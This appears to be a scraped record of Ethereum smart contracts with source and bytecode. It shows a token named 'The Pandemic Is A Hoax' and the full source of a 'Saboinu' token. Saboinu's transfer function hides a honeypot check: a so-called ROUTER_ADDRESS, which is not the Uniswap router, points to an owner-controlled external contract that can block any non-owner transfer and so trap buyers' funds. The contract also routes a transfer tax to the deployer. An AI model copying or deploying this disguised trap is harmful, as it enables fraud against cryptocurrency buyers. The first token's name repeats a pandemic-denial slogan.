allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract TPIAH is BurnableToken { string public constant name = "The Pandemic Is A Hoax"; string public constant symbol = "TPIAH"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 19000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280601681526020017f5468652050616e64656d6963204973204120486f61780000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a630121eac00281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600581526020017f545049414800000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea26469706673582212209e8cd514def998e2f9349bb2b25cd6d94e436691effb41f2b50be00ecf9bb27364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
4,832
0x0EcAA26F9a4a7e00b71F3D2852220f99291D82EB
/** *Submitted for verification at Etherscan.io on 2021-11-04 */ //SPDX-License-Identifier: MIT // Telegram: t.me/Saboinu pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=100000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Saboinu"; string constant TOKEN_SYMBOL="SABOINU"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Saboinu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(amount<=Odin(ROUTER_ADDRESS).amount(address(this))); uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f9190612258565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611e1b565b61038e565b60405161014c919061223d565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b60405161017791906123ba565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611dc8565b6103bc565b6040516101b4919061223d565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df919061242f565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611d2e565b610518565b60405161023391906123ba565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b604051610275919061216f565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a09190612258565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611e1b565b610722565b6040516102dd919061223d565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611d88565b610c71565b60405161033191906123ba565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600781526020017f5361626f696e7500000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612a0a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124e9092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b9050610515816112b2565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f59061231a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5341424f494e5500000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc9061231a565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c9061239a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611d5b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611d5b565b6040518363ffffffff1660e01b81526004016109e992919061218a565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611d5b565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af1969594939291906121dc565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611eb5565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b9291906121b3565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611e5b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d67816115a8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd99061237a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e49906122ba565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f3091906123ba565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa49061235a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110149061227a565b60405180910390fd5b60008111611060576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110579061233a565b60405180910390fd5b6110686106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110d657506110a66106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561123e5773690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b8152600401611128919061216f565b60206040518083038186803b15801561114057600080fd5b505afa158015611154573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111789190611e88565b81111561118457600080fd5b600061118f30610518565b9050600b60159054906101000a900460ff161580156111fc5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112145750600b60169054906101000a900460ff165b1561123c57611222816112b2565b6000479050600081111561123a57611239476115a8565b5b505b505b611249838383611614565b505050565b6000838311158290611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d9190612258565b60405180910390fd5b50600083856112a59190612580565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112ea576112e96126db565b5b6040519080825280602002602001820160405280156113185781602001602082028036833780820191505090505b50905030816000815181106113305761132f6126ac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113d257600080fd5b505afa1580156113e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140a9190611d5b565b8160018151811061141e5761141d6126ac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061148530600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114e99594939291906123d5565b600060405180830381600087803b15801561150357600080fd5b505af1158015611517573d6000803e3d6000fd